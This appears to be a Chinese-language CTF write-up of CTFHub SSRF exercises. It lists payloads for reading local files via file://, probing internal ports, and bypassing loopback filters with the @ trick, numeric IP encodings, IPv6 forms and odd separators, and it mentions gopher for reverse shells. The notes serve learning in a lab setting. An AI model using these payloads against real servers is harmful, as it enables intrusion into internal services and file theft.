主要的几个协议
- file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
- http/s协议:探测内网主机存活
- dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
?
内网访问
/?url=127.0.0.1/flag.php
伪协议读取文件
网站的目录一般都在/var/www/html/,因此我们直接使用file伪协议访问flag.php就可以了
/?url=file:///var/www/html/flag.php
?[WEB安全]SSRF中URL的伪协议 - 肖洋肖恩、 - 博客园
端口扫描
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
/?url=127.0.0.1:8277
POST请求?
?这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
完全是跟着wp来,还没抄出来
/?url=file:///var/www/html/flag.php?
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
/?url=127.0.0.1/flag.php?
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=19809c8d2c5323fc33abe62d401e86c4-->
</form>
上传文件?
URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
这里也算是一个小知识吧,http://www.baidu.com@127.0.0.1/与http://127.0.0.1请求的都是127.0.0.1的内容,既然他要求http://notfound.ctfhub.com开始,那么?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass?
不能使用127.0.0.1了
127.0.0.1绕过-进制转换
十进制 2130706433
八进制 017700000001
二进制 0b1111111000000000000000000000001
十六进制 0x7f000001
其他方式?
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.?.?.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
302跳转 Bypass
用一些绕过127.0.0.1的方式这题就出来了、
/?url=localhost/flag.php
|